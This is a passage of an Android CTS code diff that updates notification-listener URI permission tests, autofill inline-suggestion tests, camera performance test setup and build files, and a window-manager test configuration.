+        NotificationListenerConnection connection = new NotificationListenerConnection();
+        mContext.bindService(intent, connection, Context.BIND_AUTO_CREATE);
+        connection.waitForService();
+
+        // Before starting the test, make sure the service works, that there is no listener, and
+        // that the URI starts inaccessible to that process.
+        mNotificationUriAccessService.ensureNotificationListenerServiceConnected(false);
+        assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+        // Give the NotificationListener app access to notifications, and validate that.
+        toggleExternalListenerAccess(new ComponentName("com.android.test.notificationlistener",
+                "com.android.test.notificationlistener.TestNotificationListener"), true);
+        Thread.sleep(500);
+        mNotificationUriAccessService.ensureNotificationListenerServiceConnected(true);
+        assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+        // Give the test app access to notifications, and get that listener
+        toggleListenerAccess(true);
+        Thread.sleep(500); // wait for listener to be allowed
+        mListener = TestNotificationListener.getInstance();
+        assertNotNull(mListener);
+
+        try {
+            try {
+                // Post #7
+                performNotificationProviderAction("send-7");
+
+                // Check that both the test app (this code) and the external app have URI access.
+                assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+                assertAccessible(background7Uri);
+                assertTrue(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+                // Remove the listener to ensure permissions get revoked
+                toggleListenerAccess(false);
+                Thread.sleep(500); // wait for listener to be disabled
+
+                // Ensure that revoking listener access to this one app does not effect the other.
+                assertInaccessible(background7Uri);
+                assertTrue(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+            } finally {
+                // Clean Up -- Cancel #7
+                performNotificationProviderAction("cancel-7");
+                Thread.sleep(500);
+            }
+
+            // Finally, cancelling the permission must still revoke those other permissions.
+            assertFalse(mNotificationUriAccessService.isFileUriAccessible(background7Uri));
+
+        } finally {
+            // Clean Up -- Make sure the external listener is has access revoked
+            toggleExternalListenerAccess(new ComponentName("com.android.test.notificationlistener",
+                    "com.android.test.notificationlistener.TestNotificationListener"), false);
+        }
+    }
+
+    private void assertAccessible(Uri uri)
+            throws IOException {
+        ContentResolver contentResolver = mContext.getContentResolver();
+        try (AssetFileDescriptor fd = contentResolver.openAssetFile(uri, "r", null)) {
+            assertNotNull(fd);
+        } catch (SecurityException e) {
+            throw new AssertionError("URI should be accessible: " + uri, e);
+        }
+    }
+
+    private void assertInaccessible(Uri uri)
+            throws IOException {
+        ContentResolver contentResolver = mContext.getContentResolver();
+        try (AssetFileDescriptor fd = contentResolver.openAssetFile(uri, "r", null)) {
+            fail("URI should be inaccessible: " + uri);
+        } catch (SecurityException e) {
+            // pass
+        }
+    }
+
+    @NonNull
+    private Uri getNotificationBackgroundImageUri(int notificationId) {
+        StatusBarNotification sbn = findPostedNotification(notificationId, true);
+        assertNotNull(sbn);
+        String imageUriString = sbn.getNotification().extras
+                .getString(Notification.EXTRA_BACKGROUND_IMAGE_URI);
+        assertNotNull(imageUriString);
+        return Uri.parse(imageUriString);
+    }
+
     public void testNotificationListener_setNotificationsShown() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2722,8 +2977,7 @@
         StatusBarNotification sbn2 = findPostedNotification(notificationId2, false);
         mListener.setNotificationsShown(new String[]{ sbn1.getKey() });
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), false);
+        toggleListenerAccess(false);
         Thread.sleep(500); // wait for listener to be disallowed
         try {
             mListener.setNotificationsShown(new String[]{ sbn2.getKey() });
@@ -2734,8 +2988,7 @@
     }
 
     public void testNotificationListener_getNotificationChannels() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2750,8 +3003,7 @@
     }
 
     public void testNotificationListener_getNotificationChannelGroups() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2765,8 +3017,7 @@
     }
 
     public void testNotificationListener_updateNotificationChannel() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2785,8 +3036,7 @@
     }
 
     public void testNotificationListener_getActiveNotifications() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2813,8 +3063,7 @@
 
 
     public void testNotificationListener_getCurrentRanking() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2827,8 +3076,7 @@
     }
 
     public void testNotificationListener_cancelNotifications() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index bb824de..102ef03 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -89,6 +89,7 @@
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.TimeUnit;
 import java.util.function.Function;
+import java.util.regex.Pattern;
 
 /**
  * Helper for common funcionalities.
@@ -235,6 +236,24 @@
     }
 
     /**
+     * Dumps the state of {@link android.service.autofill.InlineSuggestionRenderService}, and assert
+     * that it says the number of active inline suggestion views is the given number.
+     *
+     * <p>Note that ideally we should have a test api to fetch the number and verify against it.
+     * But at the time this test is added for Android 11, we have passed the deadline for adding
+     * the new test api, hence this approach.
+     */
+    public static void assertActiveViewCountFromInlineSuggestionRenderService(int count) {
+        String response = runShellCommand(
+                "dumpsys activity service .InlineSuggestionRenderService");
+        Log.d(TAG, "InlineSuggestionRenderService dump: " + response);
+        Pattern pattern = Pattern.compile(".*mActiveInlineSuggestions: " + count + ".*");
+        assertWithMessage("Expecting view count " + count
+                + ", but seeing different count from service dumpsys " + response).that(
+                pattern.matcher(response).find()).isTrue();
+    }
+
+    /**
      * Sets whether the user completed the initial setup.
      */
     public static void setUserComplete(Context context, boolean complete) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index ace3d6f..c7c5070 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -182,6 +182,37 @@
     /**
      * Sets the expectation for an autofill request (for username only), so it can be asserted
      * through {@link #assertAutoFilled()} later.
+     *
+     * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
+     * this method too early, it may cause test fail. Call this method before checking autofill
+     * behavior.
+     * <pre>
+     * An example usage is:
+     * <code>
+     *  public void testAutofill() throws Exception {
+     *      // Enable service and trigger autofill
+     *      enableService();
+     *      final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+     *                 .addDataset(new CannedFillResponse.CannedDataset.Builder()
+     *                         .setField(ID_USERNAME, "test")
+     *                         .setField(ID_PASSWORD, "tweet")
+     *                         .setPresentation(createPresentation("Second Dude"))
+     *                         .setInlinePresentation(createInlinePresentation("Second Dude"))
+     *                         .build());
+     *      sReplier.addResponse(builder.build());
+     *      mUiBot.selectByRelativeId(ID_USERNAME);
+     *      sReplier.getNextFillRequest();
+     *      // Filter suggestion
+     *      mActivity.onUsername((v) -> v.setText("t"));
+     *      mUiBot.assertDatasets("Second Dude");
+     *
+     *      // Call expectAutoFill() before checking autofill behavior
+     *      mActivity.expectAutoFill("test", "tweet");
+     *      mUiBot.selectDataset("Second Dude");
+     *      mActivity.assertAutoFilled();
+     *  }
+     * </code>
+     * </pre>
      */
     public void expectAutoFill(String username) {
         mExpectation = new FillExpectation(username);
@@ -191,6 +222,10 @@
     /**
      * Sets the expectation for an autofill request (for password only), so it can be asserted
      * through {@link #assertAutoFilled()} later.
+     *
+     * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
+     * this method too early, it may cause test fail. Call this method before checking autofill
+     * behavior. {@See #expectAutoFill(String)} for how it should be used.
      */
     public void expectPasswordAutoFill(String password) {
         mExpectation = new FillExpectation(null, password);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 32ba473..141fb2f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2726,7 +2726,9 @@
         final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
         assertThat(password.getMinTextEms()).isEqualTo(-1);
         assertThat(password.getMaxTextEms()).isEqualTo(-1);
-        assertThat(password.getMaxTextLength()).isEqualTo(-1);
+        // Security fix a0c6539 limits the text length 5000. Disable assert text length to avoid
+        // break the public release.
+        //assertThat(password.getMaxTextLength()).isEqualTo(-1);
     }
 
     @Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java
index 122cfc5..7d8d4be 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java
@@ -140,5 +140,8 @@
         assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "ID");
         final ComponentName component2 = structure2.getActivityComponent();
         assertThat(component2).isEqualTo(activity2.getComponentName());
+        activity2.syncRunOnUiThread(() -> {
+            activity2.mInput.setFocusable(false);
+        });
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index fb878d3..c099043 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -1707,6 +1707,7 @@
      * the Save UI should have been restored.
      */
     @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
     public void testTapUrlSpanOnCustomDescription_thenTapBack() throws Exception {
         saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
                 ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
@@ -1718,6 +1719,7 @@
      * the Save UI should have been restored.
      */
     @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
     public void testTapUrlSpanOnSuccinctDescription_thenTapBack() throws Exception {
         saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
                 ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
@@ -1729,6 +1731,7 @@
      * the Save UI should have been restored.
      */
     @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
     public void testTapUrlSpanOnCustomDescription_forwardAnotherActivityThenTapBack()
             throws Exception {
         saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
@@ -1741,6 +1744,7 @@
      * the Save UI should have been restored.
      */
     @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
     public void testTapUrlSpanOnSuccinctDescription_forwardAnotherActivityThenTapBack()
             throws Exception {
         saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
@@ -1753,6 +1757,7 @@
      * the Save UI should have been restored.
      */
     @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
     public void testTapUrlSpanOnCustomDescription_tapBackWithoutFinish() throws Exception {
         saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
                 ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
@@ -1764,6 +1769,7 @@
      * the Save UI should have been restored.
      */
     @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
     public void testTapUrlSpanOnSuccinctDescription_tapBackWithoutFinish() throws Exception {
         saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
                 ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
index c761d02..f46dd19 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
@@ -70,7 +70,6 @@
                         .setInlinePresentation(createInlinePresentation("Second Dude"))
                         .build());
         sReplier.addResponse(builder.build());
-        mActivity.expectAutoFill("test", "tweet");
 
         // Trigger autofill, then make sure it's showing initially.
         mUiBot.selectByRelativeId(ID_USERNAME);
@@ -93,6 +92,7 @@
         mUiBot.waitForIdleSync();
         mUiBot.assertDatasets("Second Dude");
 
+        mActivity.expectAutoFill("test", "tweet");
         mUiBot.selectDataset("Second Dude");
         mUiBot.waitForIdleSync();
         mActivity.assertAutoFilled();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index eb18e96..3ca3f34 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -44,6 +44,7 @@
 import android.content.Intent;
 import android.os.Binder;
 import android.os.Bundle;
+import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.FillContext;
 import android.support.test.uiautomator.Direction;
@@ -457,4 +458,59 @@
                     MOCK_IME_TIMEOUT_MS);
         }
     }
+
+    @Test
+    public void testInlineSuggestionViewReleased() throws Exception {
+        // Set service
+        enableService();
+
+        // Prepare the autofill response
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation(createPresentation("The Username"))
+                        .setInlinePresentation(createInlinePresentation("The Username"))
+                        .build())
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Password"))
+                        .setInlinePresentation(createInlinePresentation("The Password"))
+                        .build())
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "lollipop")
+                        .setPresentation(createPresentation("The Password2"))
+                        .setInlinePresentation(createInlinePresentation("The Password2"))
+                        .build());
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill on username field
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+        mUiBot.assertDatasets("The Username");
+        Helper.assertActiveViewCountFromInlineSuggestionRenderService(1);
+
+        // Switch focus to password
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mUiBot.waitForIdleSync();
+        mUiBot.assertDatasets("The Password", "The Password2");
+        Helper.assertActiveViewCountFromInlineSuggestionRenderService(2);
+
+        // Switch focus back to username
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+        mUiBot.assertDatasets("The Username");
+        Helper.assertActiveViewCountFromInlineSuggestionRenderService(1);
+
+        // Select the autofill suggestion on username, then check the results
+        mActivity.expectAutoFill("dude");
+        mUiBot.selectDataset("The Username");
+        mUiBot.waitForIdleSync();
+        mActivity.assertAutoFilled();
+        sReplier.getNextFillRequest();
+
+        // Sleep for a while for the wait in {@link com.android.server.autofill.ui
+        // .RemoteInlineSuggestionUi} to timeout.
+        SystemClock.sleep(500);
+        Helper.assertActiveViewCountFromInlineSuggestionRenderService(0);
+    }
 }
diff --git a/tests/camera/Android.bp b/tests/camera/Android.bp
new file mode 100644
index 0000000..bf39750
--- /dev/null
+++ b/tests/camera/Android.bp
@@ -0,0 +1,46 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Reusable Camera performance test classes and helpers
+android_library {
+    name: "cts-camera-performance-tests",
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "mockito-target-minus-junit4",
+        "CtsCameraUtils",
+        "truth-prebuilt",
+        "androidx.test.rules",
+    ],
+
+    manifest: "AndroidManifest-lib.xml",
+    resource_dirs: ["res"],
+    srcs: [
+        "src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java",
+        "src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java",
+        "src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java",
+        "src/android/hardware/camera2/cts/PerformanceTest.java",
+        "src/android/hardware/cts/CameraPerformanceTestHelper.java",
+        "src/android/hardware/cts/LegacyCameraPerformanceTest.java",
+        "src/android/hardware/camera2/cts/RecordingTest.java",
+    ],
+
+    sdk_version: "test_current",
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+}
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index 1dc75f3..749fed5 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -14,40 +14,6 @@
 
 LOCAL_PATH:= $(call my-dir)
 
-# Reusable Camera performance test classes and helpers
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := cts-camera-performance-tests
-
-LOCAL_MODULE_TAGS := tests
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt \
-	ctstestrunner-axt \
-	mockito-target-minus-junit4 \
-	CtsCameraUtils \
-	truth-prebuilt \
-	androidx.test.rules
-
-LOCAL_MANIFEST_FILE := AndroidManifest-lib.xml
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-LOCAL_SRC_FILES := \
-	src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java \
-	src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java \
-	src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java \
-	src/android/hardware/camera2/cts/PerformanceTest.java \
-	src/android/hardware/cts/CameraPerformanceTestHelper.java \
-	src/android/hardware/cts/LegacyCameraPerformanceTest.java \
-	src/android/hardware/camera2/cts/RecordingTest.java
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
 # CtsCameraTestCases package
 
 include $(CLEAR_VARS)
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index ff1bdb7..c4efba7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -37,6 +37,7 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.util.Pair;
 
@@ -828,6 +829,7 @@
 
     // Verify no LEGACY-level devices appear on devices first launched in the Q release or newer
     @Test
+    @AppModeFull(reason = "Instant apps can't access Test API")
     public void testNoLegacyOnQ() throws Exception {
         if(PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.Q){
             // LEGACY still allowed for devices upgrading to Q
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 4a02036..94282c8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -94,6 +94,7 @@
     private static final int WAIT_FOR_RESULT_TIMEOUT_MS = 3000;
     private static final int NUM_RESULTS_WAIT_TIMEOUT = 100;
     private static final int NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY = 8;
+    private static final long FRAME_DURATION_NS_30FPS = 33333333L;
 
     private DeviceReportLog mReportLog;
 
@@ -107,8 +108,10 @@
     private ImageWriter mWriter;
     private SimpleCaptureCallback mZslResultListener;
 
+    private Size mPreviewSize;
     private Surface mPreviewSurface;
     private SurfaceTexture mPreviewSurfaceTexture;
+    private int mImageReaderFormat;
 
     private static final Instrumentation mInstrumentation =
             InstrumentationRegistry.getInstrumentation();
@@ -183,7 +186,7 @@
                         // Blocking start preview (start preview to first image arrives)
                         SimpleCaptureCallback resultListener =
                                 new SimpleCaptureCallback();
-                        blockingStartPreview(resultListener, imageListener);
+                        blockingStartPreview(id, resultListener, imageListener);
                         previewStartedTimeMs = SystemClock.elapsedRealtime();
                         startPreviewTimes[i] = previewStartedTimeMs - configureTimeMs;
                         cameraLaunchTimes[i] = previewStartedTimeMs - startTimeMs;
@@ -378,7 +381,7 @@
                         imageListeners[j] = new SimpleImageListener();
                     }
 
-                    readers = prepareStillCaptureAndStartPreview(previewBuilder, captureBuilder,
+                    readers = prepareStillCaptureAndStartPreview(id, previewBuilder, captureBuilder,
                             mTestRule.getOrderedPreviewSizes().get(0), imageSizes, formats,
                             previewResultListener, NUM_MAX_IMAGES, imageListeners,
                             false /*isHeic*/);
@@ -1151,18 +1154,30 @@
                 BlockingSessionCallback.SESSION_CLOSED, CameraTestUtils.SESSION_CLOSE_TIMEOUT_MS);
     }
 
-    private void blockingStartPreview(CaptureCallback listener, SimpleImageListener imageListener)
-            throws Exception {
+    private void blockingStartPreview(String id, CaptureCallback listener,
+            SimpleImageListener imageListener) throws Exception {
         if (mPreviewSurface == null || mTestRule.getReaderSurface() == null) {
             throw new IllegalStateException("preview and reader surface must be initilized first");
         }
 
+        StreamConfigurationMap config =
+                mTestRule.getStaticInfo().getCharacteristics().get(
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
         CaptureRequest.Builder previewBuilder =
                 mTestRule.getCamera().createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+        long minFrameDuration = Math.max(FRAME_DURATION_NS_30FPS,
+                config.getOutputMinFrameDuration(mImageReaderFormat, mPreviewSize));
         if (mTestRule.getStaticInfo().isColorOutputSupported()) {
             previewBuilder.addTarget(mPreviewSurface);
+            minFrameDuration = Math.max(minFrameDuration,
+                    config.getOutputMinFrameDuration(SurfaceTexture.class, mPreviewSize));
         }
         previewBuilder.addTarget(mTestRule.getReaderSurface());
+
+        Range<Integer> targetRange =
+                CameraTestUtils.getSuitableFpsRangeForDuration(id,
+                        minFrameDuration, mTestRule.getStaticInfo());
+        previewBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
         mTestRule.getCameraSession().setRepeatingRequest(
                 previewBuilder.build(), listener, mTestRule.getHandler());
         imageListener.waitForImageAvailable(CameraTestUtils.CAPTURE_IMAGE_TIMEOUT_MS);
@@ -1171,6 +1186,7 @@
     /**
      * Setup still capture configuration and start preview.
      *
+     * @param id The camera id under test
      * @param previewRequest The capture request to be used for preview
      * @param stillRequest The capture request to be used for still capture
      * @param previewSz Preview size
@@ -1181,7 +1197,7 @@
      * @param imageListeners The single capture capture image listeners
      * @param isHeic Capture HEIC image if true, JPEG image if false
      */
-    private ImageReader[] prepareStillCaptureAndStartPreview(
+    private ImageReader[] prepareStillCaptureAndStartPreview(String id,
             CaptureRequest.Builder previewRequest, CaptureRequest.Builder stillRequest,
             Size previewSz, Size[] captureSizes, int[] formats, CaptureCallback resultListener,
             int maxNumImages, ImageReader.OnImageAvailableListener[] imageListeners,
@@ -1202,15 +1218,31 @@
         // Update preview size.
         updatePreviewSurface(previewSz);
 
+        StreamConfigurationMap config =
+                mTestRule.getStaticInfo().getCharacteristics().get(
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
         ImageReader[] readers = new ImageReader[captureSizes.length];
         List<Surface> outputSurfaces = new ArrayList<Surface>();
         outputSurfaces.add(mPreviewSurface);
+        long minFrameDuration = FRAME_DURATION_NS_30FPS;
         for (int i = 0; i < captureSizes.length; i++) {
+            long minFrameDurationForCapture =
+                    config.getOutputMinFrameDuration(formats[i], captureSizes[i]);
+            if (minFrameDurationForCapture > minFrameDuration) {
+                minFrameDuration = minFrameDurationForCapture;
+            }
             readers[i] = CameraTestUtils.makeImageReader(captureSizes[i], formats[i], maxNumImages,
                     imageListeners[i], mTestRule.getHandler());
             outputSurfaces.add(readers[i].getSurface());
         }
 
+        // Update target fps based on min frame durations
+        Range<Integer> targetRange =
+                CameraTestUtils.getSuitableFpsRangeForDuration(id,
+                minFrameDuration, mTestRule.getStaticInfo());
+        previewRequest.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
+        stillRequest.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
+
         mTestRule.setCameraSessionListener(new BlockingSessionCallback());
         mTestRule.setCameraSession(CameraTestUtils.configureCameraSession(
                 mTestRule.getCamera(), outputSurfaces,
@@ -1387,10 +1419,11 @@
                 cameraId, mTestRule.getCameraManager(), format,
                 CameraTestUtils.getPreviewSizeBound(mTestRule.getWindowManager(),
                         CameraTestUtils.PREVIEW_SIZE_BOUND)));
-        Size maxPreviewSize = mTestRule.getOrderedPreviewSizes().get(0);
+        mPreviewSize = mTestRule.getOrderedPreviewSizes().get(0);
+        mImageReaderFormat = format;
         mTestRule.createDefaultImageReader(
-                maxPreviewSize, format, NUM_MAX_IMAGES, /*listener*/null);
-        updatePreviewSurface(maxPreviewSize);
+                mPreviewSize, format, NUM_MAX_IMAGES, /*listener*/null);
+        updatePreviewSurface(mPreviewSize);
     }
 
     private void simpleOpenCamera(String cameraId) throws Exception {
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 3a57e6e..03b1559 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -1153,7 +1153,7 @@
 
             // Stop recording and preview
             stopRecording(/* useMediaRecorder */true, useIntermediateSurface,
-                    /* stopCameraStreaming */false);
+                    /* stopCameraStreaming */true);
             // Convert number of frames camera produced into the duration in unit of ms.
             float frameDurationMs = 1000.0f / profile.videoFrameRate;
             float durationMs = 0.f;
diff --git a/tests/framework/base/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
index 247a7ce..f0cc5e7 100644
--- a/tests/framework/base/windowmanager/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -56,10 +56,19 @@
                 value="settings put secure android.car.ENABLE_INITIAL_NOTICE_SCREEN_TO_USER 1" />
     </target_preparer>
 
+    <!-- Enabling change id allows that package to access @TestApi methods -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-      <!-- Disable hidden API checking, see b/166236554 -->
-        <option name="run-command" value="settings put global hidden_api_policy 1" />
-        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.app" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.shareuid.a" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.shareuid.b" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.second" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.app27" />
+
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.app" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.shareuid.a" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.shareuid.b" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.second" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.app27" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest">
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index bace877..cc7ed6d 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -306,6 +306,7 @@
         public static final String EXTRA_APP_CONFIG_INFO = "app_config_info";
         public static final String EXTRA_CONFIG_INFO_IN_ON_CREATE = "config_info_in_on_create";
         public static final String EXTRA_DISPLAY_REAL_SIZE = "display_real_size";
